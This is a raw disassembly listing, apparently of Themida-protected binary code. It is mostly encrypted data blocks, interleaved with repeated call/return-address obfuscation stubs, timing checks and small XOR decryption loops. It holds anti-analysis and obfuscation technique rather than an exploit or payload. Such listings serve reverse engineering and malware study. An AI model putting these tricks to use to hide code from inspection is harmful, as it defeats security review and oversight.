98037F50h dd 0EE9D268h, 0D88B66E4h, 6A04C283h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0FB51C352h dd 0DB57E85Ah, 142A8C7h, 101BE1B5h, 20508906h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 54C35343h, 2BFF1109h dd 0FBEB02EBh, 5BD8B44h, 8D06102Fh, 13D7C285h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 9E09EC5h, 101B61BDh, 0B8868906h, 81000000h, 0AFF9F7C7h dd 6A006A35h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 28A9C353h, 3681C292h, 147985ECh dd 191D9D8Bh, 0BF0F0610h, 6DB5FFD8h, 6A0613C2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 4704C353h, 3E50B9Dh, 0BF0639FEh, 7BC04666h, 49595FFh dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD895CC3h, 6102005h, 6997BB50h, 34896F0Ah dd 0AE824h, 0E57D0000h, 0DA093F45h, 4259C6FDh, 8A5B529h dd 505F0610h, 870F60h, 8A000000h, 0FF5F61E3h, 13C26DB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0F98B615Fh, 162D95FFh, 14E90610h, 0B6000000h dd 68A796A1h, 0D582AF4Bh, 4560BCBEh, 90A78ECCh, 83386E48h dd 101351BDh, 840F0006h, 35h, 3161B589h, 50960610h, 810Fh dd 6A960000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 81AFC357h, 89261C99h, 1019159Dh dd 6DB5FF06h, 0E90613C2h, 10h, 2CB32FD9h, 8FE1663Eh, 628176B4h dd 0A867EEF3h, 0C1995FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 29FA61C3h, 49E44D7Ch dd 8B1541FAh, 0FD8D09D9h, 0FF06101Eh, 13C26DB5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0E388E366h, 8B5B510Ah, 101DB19Dh, 2195FF06h, 66061016h dd 4CBEDB81h, 0F89BD83h, 0F020610h, 9884h, 0BE666000h dd 11E9FD8Eh, 4000000h, 9417F361h, 0E14A8DAAh, 0FB3F67CBh dd 3652E578h, 13E961h, 24EE0000h, 0E795842Eh, 0C3FA63C6h dd 0C9308B73h, 0F02D774Fh, 0C5858B94h, 6A061010h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 519AC356h, 0AC27B173h, 8BDF8BFDh, 100A2DBDh, 0C606h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h dd 0E594E8D1h, 81C3E836h, 0AAF349CBh, 0BDA8B1Eh, 1030599Dh dd 2585C706h, 6102Ah, 0BF000000h, 65BCBA9h, 0FFF232E9h dd 0DA8B66FFh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0AE5785C3h, 8BFC7244h, 8D9D8BF8h dd 8D061016h, 1013B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 60735770h, 13E960h, 0FBE80000h dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh, 0A4BF66CCh dd 9D8B61E4h, 6102A15h, 2CC78161h, 9068D394h, 5E8h, 2BC81A00h dd 0FB8B1392h, 820F505Fh, 0Dh, 890F60h, 0B8000000h, 6588A3Fh dd 8B669061h, 8830FDEh, 50000000h, 21819D23h, 6A5F0610h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 622C37A7h, 0FF9D13F0h, 12B9BD8Bh, 0FE80610h dd 1E000000h, 0A23A6639h, 90FC5D66h, 0FB549F37h, 0CF80C47Fh dd 0B5895B47h, 61001C1h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E47935C3h, 0CF310AC5h dd 0BF8A321Dh, 6C79D022h, 0C69B858Dh, 0BF660614h, 0C083431Fh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 19E3ADBEh, 90980FACh, 34B75250h, 5051310Fh dd 5A310F52h, 585A5F58h, 60606050h, 61616061h, 4852BB66h dd 8A0F9061h, 0 ; --------------------------------------------------------------------------- push 0 push 0 push ebp call sub_597A1D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597A1D proc near ; CODE XREF: Themida_:00597A15p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_597A1D endp ; --------------------------------------------------------------------------- and cl, [ebx-2440F0BFh] push 0 cld call dword ptr [ebp+6101D19h] mov edi, 59B7866Ah mov ebx, 70678F51h lea ecx, [ebp+613AFD8h] push 0 push edx call sub_597A57 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597A57 proc near ; CODE XREF: Themida_:00597A4Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_597A57 endp ; --------------------------------------------------------------------------- mov al, ds:5B1A1EBh cmp edx, [eax-4B7CC4h] shr dword ptr [edx+0], 1 push ebx call sub_597A7E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597A7E proc near ; CODE XREF: Themida_:00597A76p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_597A7E endp ; --------------------------------------------------------------------------- dw 1ED5h dd 7C09C9E2h, 0F4A89ADh, 118Dh, 9E800h, 10C00000h, 0C40807D8h dd 8A0FB4D6h, 83F85FD8h, 102209BDh, 850F0106h, 4Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0B6C35040h, 0CA05462Eh dd 6652026Ah, 5BCCEABBh, 90D88B66h, 0B26ACCBBh, 6690507Dh dd 4C29F381h, 49595FFh, 0B5310610h, 6100E61h, 1019D8Bh dd 0E2E90610h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 614C6A5h or [ebp+610069Dh], ecx push 0 push ebx call sub_597B28 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597B28 proc near ; CODE XREF: Themida_:00597B20p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_597B28 endp ; --------------------------------------------------------------------------- dd 0E4FF84C8h, 1465FD33h, 27C19D8Bh, 66520610h, 8D5BDF8Bh dd 1399B685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0A48C34A6h, 0EB5D0F17h, 525090CCh dd 310FDE8Bh, 0FB17BF66h, 6650585Ah, 6A90DF8Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0B2B2C355h, 62D159C7h, 0BD898FA3h, 61030E5h, 0A19FBF66h dd 0D7DBD89h, 0FF640610h, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 64FF7040h dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 22429BC3h, 141985FFh, 890F0610h dd 1Bh, 0FE8h, 60034700h, 0A95C0202h, 7321BF0Fh, 17C52B01h dd 27E1B589h, 6A5B0610h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0D0A6960Eh, 9D29AF98h dd 6100A49h, 43F8EB81h, 0B5FF6617h, 6101D89h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 78C35747h, 3224F2F9h dd 7B91CBEBh, 0FF5F52D4h, 10061595h, 0FEE906h, 0BD8B0000h dd 6103179h, 9D8900B0h, 61013A5h, 0B70F70E6h, 6671E4FEh dd 861E381h, 830F613Ch, 0DCh, 0FC8B60Fh, 128Ch, 6E800h dd 87DF0000h, 6610CED7h, 20D9BD8Bh, 0BA5B0610h, 6, 45BD8Bh dd 0C18B0610h, 8166DD8Ah, 0C1C33FF7h, 5E804E8h, 63000000h dd 0A767039Ch, 0E2F7665Fh, 23B99D8Bh, 8A0F0610h, 3, 2BF9B70Fh dd 8BDF8BC8h, 101E9DBDh, 8BD18B06h, 1006BDBDh, 76E906h dd 8FBF0000h, 8B25C635h, 885h, 83D98B00h, 0DA8B07C0h, 0BB00C083h dd 5DBE1EB8h, 830FD03Bh, 1Dh, 18B5BD89h, 0DE90610h, 44000000h dd 22DA0CF4h, 0FA284137h, 0CBFDD15Ah, 37E9h, 0FF8D8B00h dd 8AFFFFFFh, 1E183D9h, 26840Fh, 89570000h, 100799B5h dd 0A5835B06h, 0FFFFFFFFh, 0DD8589FEh, 89061026h, 895h dd 0D9BD8B00h, 0E9061007h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6144078h] push eax cld pop edi push 0 mov ebx, 43426278h call dword ptr [ebp+61031C9h] push 0 push edi call sub_597DB1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597DB1 proc near ; CODE XREF: Themida_:00597DA9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_597DB1 endp ; --------------------------------------------------------------------------- db 42h, 97h, 7Ah dd 5DB90CD0h, 8900000Fh, 103279BDh, 0FCE18306h, 1C8E0Fh dd 0F600000h, 88h, 0EE800h, 1F6E0000h, 648579F4h, 0FBC57757h dd 6E9C20AEh, 6AFC6159h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 87F2C353h, 0C02BF530h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 74C35646h dd 9109D443h, 0BAFB8B66h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+6100A95h] loc_597E46: ; CODE XREF: Themida_:00597E50j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_597E46 mov bl, ah push ebx xor [ebp+61023B1h], edx pop ebx or eax, 88h push 0 push ebx call sub_597E6C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597E6C proc near ; CODE XREF: Themida_:00597E64p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_597E6C endp ; --------------------------------------------------------------------------- dec esi cmpsd mov bx, dx mov edx, [ebp+61009F5h] jle loc_597EA2 pusha call near ptr loc_597E9A+4 or [ebx+14D8A7C6h], esi pop ebx loc_597E9A: ; CODE XREF: Themida_:00597E8Ep cmp eax, 5E247E52h mov edx, ecx popa loc_597EA2: ; CODE XREF: Themida_:00597E87j mov [ebp+6102189h], eax mov ecx, [ebp+6102319h] push 0 push ebp call sub_597EB9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597EB9 proc near ; CODE XREF: Themida_:00597EB1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_597EB9 endp ; --------------------------------------------------------------------------- db 15h, 24h, 0Fh ; --------------------------------------------------------------------------- and bx, 0C581h push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push ebx call sub_597EEE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597EEE proc near ; CODE XREF: Themida_:00597EE6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_597EEE endp ; --------------------------------------------------------------------------- pop es xchg eax, ecx jmp fword ptr [ebx+6DE5AB9h] ; --------------------------------------------------------------------------- scasb inc ebp sub [ebp+6101095h], ecx push 0 push esi call sub_597F19 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597F19 proc near ; CODE XREF: Themida_:00597F11p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_597F19 endp ; --------------------------------------------------------------------------- db 15h, 1Ch, 2 ; --------------------------------------------------------------------------- cmp ax, 30Fh cmp dword ptr [ebp+6101E29h], 0 jz loc_597FD6 push 0 push ebp call sub_597F48 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597F48 proc near ; CODE XREF: Themida_:00597F40p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_597F48 endp ; --------------------------------------------------------------------------- mov eax, 3DBA858Fh cmp ebp, [eax] and al, 0F0h mov eax, 0 mov [ebp+6101645h], ebx lea ecx, [ebp+6104E85h] push 0 push ebx call sub_597F7D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597F7D proc near ; CODE XREF: Themida_:00597F75p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_597F7D endp ; --------------------------------------------------------------------------- std retf ; --------------------------------------------------------------------------- mov bl, 8 or byte ptr [ebp-7CC47148h], 3 mov ebp, 6102939h jmp loc_597FB0 ; --------------------------------------------------------------------------- xchg eax, esi aas nop jo short loc_597FD6 mov al, ds:9AFDC6D9h jb short loc_598006 inc esi pop ds loc_597FB0: ; CODE XREF: Themida_:00597F9Dj jmp ecx ; --------------------------------------------------------------------------- push 0 push eax call sub_597FBD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597FBD proc near ; CODE XREF: Themida_:00597FB5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_597FBD endp ; --------------------------------------------------------------------------- db 10h, 0A4h, 0Bh ; --------------------------------------------------------------------------- mov ds:311CD28Dh, al dec ecx loc_597FD6: ; CODE XREF: Themida_:00597F37j ; Themida_:00597FA5j cmp dword ptr [ebp+61022C1h], 0 jz loc_5983F7 push 0 push eax call sub_597FEE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597FEE proc near ; CODE XREF: Themida_:00597FE6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_597FEE endp ; --------------------------------------------------------------------------- cmpsb pop edi xor [ebp+6100909h], esi loc_598006: ; CODE XREF: Themida_:00597FACj cmp dword ptr [ebp+61022C1h], 1 jz loc_598412 and ebx, 12CB792Ah cmp dword ptr [ebp+61022C1h], 3 jbe loc_5983DC xor ebx, [ebp+6100901h] pusha mov ebx, [ebp+61032B1h] mov cx, ds mov edi, [ebp+6100E15h] and cl, 4 jmp loc_598054 ; --------------------------------------------------------------------------- dd 0E66D82D7h, 0F2256A44h, 6F05EDB8h, 0DA490484h ; --------------------------------------------------------------------------- loc_598054: ; CODE XREF: Themida_:0059803Fj or cl, cl jz loc_598161 mov bx, si mov eax, [ebp+6102185h] jmp loc_598070 ; --------------------------------------------------------------------------- test [esi+406420A6h], ah loc_598070: ; CODE XREF: Themida_:00598065j xor eax, [ebp+61011FDh] push 0 push eax call sub_598081 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598081 proc near ; CODE XREF: Themida_:00598079p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_598081 endp ; --------------------------------------------------------------------------- sub [esi-63h], dh movsb cmc push eax mov ebx, 42CE2ED2h mov [esp], eax push 0 push ebx call sub_5980AA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5980AA proc near ; CODE XREF: Themida_:005980A2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5980AA endp ; --------------------------------------------------------------------------- dw 4967h dd 52F3A68Bh, 6810Fh, 0B5090000h, 6100CA9h, 11E9h, 0FE9AB100h dd 26F83472h, 39B8B6Ch, 5A44D694h, 6A35FBh, 0BEC38166h dd 899589D1h, 0E8061015h, 4, 1F03FFh, 0BF665250h, 310F918Bh dd 8E0Fh, 585A0000h, 0D88B6650h, 424448Bh, 28F0Fh, 0FA8B0000h dd 8B52008Bh, 44895FFEh, 52500424h, 0BF66310Fh, 585A0A6Ch dd 0CE958h, 30CE0000h, 0A14A4DB2h, 0B37DD362h, 95FFB3FAh dd 61005D5h, 1401BD23h, 85890610h, 613C26Dh, 15E5BD8Bh dd 0BE90610h, 89000002h, 101C81B5h ; --------------------------------------------------------------------------- push es loc_598161: ; CODE XREF: Themida_:00598056j mov eax, [ebp+613C265h] push 0 push edi call sub_598172 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598172 proc near ; CODE XREF: Themida_:0059816Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_598172 endp ; --------------------------------------------------------------------------- dw 0A320h dd 0B589DFC5h, 6102DADh, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 525936C3h dd 0EF095A82h, 0A7DB8166h, 69B58BA6h, 8B0613C2h, 8E9F9h dd 0FD830000h, 94A953B5h, 858B5CF4h, 6100E25h, 11E9h, 0A53FD100h dd 4B10A967h, 0F8E15977h, 0F324B9CDh, 689A768h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 4FC35141h, 0ADBD8B47h dd 0F06102Dh, 68Dh, 95B50100h, 8B061027h, 10218585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B89B42EAh, 0C96B469Ch, 6E920h, 0EB810000h, 0CCF69BB0h dd 0F0A8BF66h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 51EDC356h, 0D60104FCh dd 9D23F5AFh, 61018E1h, 0CE896h, 0F0D30000h, 0BFD70EDAh dd 85AE46B9h, 8D0F1693h, 2, 505F5F50h, 8BDF8B60h, 299661F0h dd 1032D185h, 65B5FF06h, 6A0613C2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6C6AC355h dd 1699BD89h, 0D1680610h, 502BD092h, 810F5052h, 0 dd 0F310F5Fh, 487h, 9BB6600h, 81585A5Dh, 912E2434h, 81662BCFh dd 8D3720F3h, 13C26D85h, 0C1BD0B06h, 90061027h, 66F18A60h dd 61018FBBh, 90FA8A50h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 88C35242h, 0A0E556C4h, 0B589D37Fh, 6102A35h dd 5D595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0EA7D08C3h, 18F99531h, 6A610610h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0F7D7C351h, 270B4792h, 0C7AAB656h, 1022C185h dd 306h, 41952900h, 8306102Fh, 13C26DBDh, 840F0006h, 34h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 29C35545h dd 0F9522934h, 9D89525Bh, 6102EC1h, 21E95Bh, 9D290000h dd 61008BDh ; --------------------------------------------------------------------------- loc_5983DC: ; CODE XREF: Themida_:00598020j ; Themida_:005983F3j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5983DC jmp short loc_59842D ; --------------------------------------------------------------------------- loc_5983F7: ; CODE XREF: Themida_:00597FDDj ; Themida_:0059840Ej push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5983F7 jmp short loc_59842D ; --------------------------------------------------------------------------- loc_598412: ; CODE XREF: Themida_:0059800Dj ; Themida_:00598429j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_598412 jmp short $+2 loc_59842D: ; CODE XREF: Themida_:005983F5j ; Themida_:00598410j mov eax, eax push 0 push edx call sub_59843A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59843A proc near ; CODE XREF: Themida_:00598432p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59843A endp ; --------------------------------------------------------------------------- dw 1C51h dd 0B639CE7Eh, 29FB8B66h, 100C0985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 4677C2A0h dd 0F88B74Ch, 0BD83F9B7h, 61022C1h, 0B850F03h, 2B000004h dd 102AC5BDh, 6DBD8306h, 613C2h, 3F8840Fh, 820F0000h, 0Dh dd 5E8h, 8E095B00h, 5B523A3Ah, 6DB5FF5Fh, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0DD75C356h, 0EBBB661Ah, 0A595FF51h, 6A06102Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 2168C351h, 4ACF8166h, 61B58BA2h, 330613C2h, 1012B1BDh dd 106C706h, 6A000100h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0FD04C355h, 81634140h dd 0C3B76BDBh, 14E89639h, 84000000h, 6CAF55B4h, 0A688B062h dd 0AA97B262h, 97F561AEh, 6660A4C7h, 505FFB8Bh, 2830F60h dd 60000000h, 0BBBF6661h, 8B9661BFh, 10139DBDh, 6DB5FF06h dd 8B0613C2h, 1015C1BDh, 0BD8B5106h, 6101489h, 2595FF5Bh dd 6A061012h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 8FF5C353h, 31958952h, 5F061031h dd 0C987BF66h, 0C261B58Bh, 6A0613h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D40C8EC3h dd 8954D4A0h, 10059DBDh, 0D1858B06h, 6A061021h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D49C350h, 23619D03h, 86890610h, 0C4h, 9F5958Bh, 860F0610h dd 6, 4919D03h, 0C2830610h, 89D88B04h, 6A2050h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 85D5D3C3h, 1FE19D01h, 858D0610h, 613D7C2h, 8689DE8Bh dd 0B8h, 6199529h, 6A0610h, 1301BD8Bh, 0B5FF0610h, 613C26Dh dd 0FFDA8B66h, 10049595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0D2035939h dd 0D5F975E2h, 8D29FA23h, 61032C5h, 6E8h, 0E59BD500h, 89267693h dd 100F1DBDh, 60965B06h, 0AE8h, 54503B00h, 0D8BE598Ah dd 0FE6E775h, 80h, 880F5B00h, 0Bh, 5E8h, 2581C300h, 61584F07h dd 9E850h, 56290000h, 0F5A63570h, 5B338FB6h, 51006A96h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 8E85Ah, 67B10000h, 0ADFF8335h, 8960829Ah, 100E5585h dd 69BD0106h, 61061004h, 0FF40B75Fh, 13C26DB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 560B58EDh, 162D95FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 20BCFEC3h, 0CD705EDAh dd 1351BD83h, 0F000610h, 7C84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 1F6A8644h dd 6890F10h, 3000000h, 1004F5BDh, 99B52906h, 96061031h dd 68E0F60h, 50000000h, 5A310F52h, 68D0F58h, 0F000000h dd 82h, 0B7506100h, 6A96A2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 81A6B9C3h, 42C0C632h dd 8B0C3189h, 1029D9BDh, 6DB5FF06h, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 8991C356h, 77A38A66h, 95FFBB21h, 6100C19h, 8E956h, 5100000h dd 0E8BE6954h, 0FF5B8E9Bh, 13C26DB5h, 33565106h, 1009B19Dh dd 0FF5F5F06h, 10162195h, 0A1B52906h, 8306102Fh, 100F89BDh dd 840F0206h, 22h, 8BFFBF0Fh, 1010C585h, 0E8D0F06h, 0E9000000h dd 9, 2AF3FE7Dh, 0C0B9A123h, 0C6FFh, 85C790B3h, 6102A25h dd 0 dd 21E9B589h, 90E90610h, 6AFFFFF3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 712C350h dd 8BAF2222h, 1015899Dh, 6AC18B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E898C352h dd 90EF3AA5h, 0E384ACC0h, 28590BBFh, 0B9858D77h, 57061013h dd 1ED18D89h, 905B0610h, 0E1A9BF66h, 0DF8B6650h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5665C78Eh, 6AC42E64h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0B29D4C14h, 9D297B38h dd 61001C1h, 0A099D8Bh, 6A0610h, 1A699509h, 858D0610h dd 614D69Ah, 8D01FB8Bh, 6102285h, 0F05C083h, 38Ah, 97C38000h dd 89DE8B50h, 85092404h, 61004CDh, 880F006Ah, 6, 1385BD8Bh dd 6A0610h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 56C35242h, 0A28EE117h, 95FFB072h, 6101D19h, 0E8E38166h dd 0D88D8D41h, 6A0613AFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0AD8AC355h, 0D9B563B7h dd 0E81CBB81h, 0D1FF2CF8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 42C35141h, 83F7D776h, 102209BDh, 850F0106h dd 0E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 6CC35040h, 8BC2ACD6h, 11830FA1h, 0F000000h, 0B84h dd 6E900h, 6CF20000h, 0ED8028B7h, 2329BD89h, 26A0610h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2DC35040h dd 6E854B6Eh, 80BA3DB3h, 9D8B1ACFh, 6102E8Dh, 0DA8B6690h dd 0DE850h, 36860000h, 117C2D4Bh, 0C7E00554h, 8B0F6997h dd 6A905BF9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 150C357h, 18820F6Ah, 0E9000000h dd 13h, 7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h, 0F808BA3h dd 95FFFBB7h, 6100495h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 64C35343h, 0E9DE9F9h db 2 dup(0) word_598B0A dw 0E8h ; DATA XREF: Themida_:0054B938o dd 5D000000h, 0D6A4ED81h, 0BB660614h, 0BD89DD6Bh, 6102A89h dd 1199BD8Bh, 858D0610h, 61399B6h, 0EF8166F8h, 50903FB1h dd 63BBBB52h, 310F0011h, 0BE85250h, 37000000h, 0B63C75h dd 29D9CD18h, 0F5B52D1h, 0F525031h, 5A585A31h, 50585A58h dd 0FEB70F90h, 35FF64h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F96C351h dd 686h, 35BD8900h, 6406101Bh, 2589h, 0BD8B0000h, 61018C1h dd 6830Fh, 9D2B0000h, 61018F1h, 141985FFh, 6A0610h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 21F040C3h, 6AFB8B66h, 0FAC4BBFFh, 0B5FF7CCAh, 6102ED5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B9C35141h dd 14B63847h, 0E3717E69h, 2A6D8D89h, 95FF0610h, 6100615h dd 14EE9h, 0B0DE8B00h, 27BB6600h, 0F70E65Fh, 0E85h, 8D8B6000h dd 6100BDDh, 2A11BD89h, 0E4610610h, 0FE971h, 0E5A40000h dd 7B05F1C6h, 67360A38h, 6CF761A0h, 0F613C8Ah, 11283h dd 10E900h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh dd 0B60FC15Dh, 0F99589C8h, 0BA061012h, 6, 6E9h, 35E21200h dd 8B195690h, 0AA8EBBC1h, 0E8C15BABh, 0F7816604h, 0DE9E059h dd 12000000h, 29E37D03h, 7A45DE4Bh, 688F6566h, 0FE2F766h dd 680h, 658D8900h, 2B06100Ah, 0D18BFCC8h, 0AAE9h, 0C6EB8100h dd 0BB3279B2h, 6DC4050Fh, 1858Bh, 0E8600000h, 6, 2E923C71h dd 9D89902Ah, 61018F9h, 8361FC5Bh, 858907C0h, 610137Dh dd 100C083h, 100D6585h, 2D8D8906h, 3B061014h, 2F830FD0h dd 0F000000h, 68Bh, 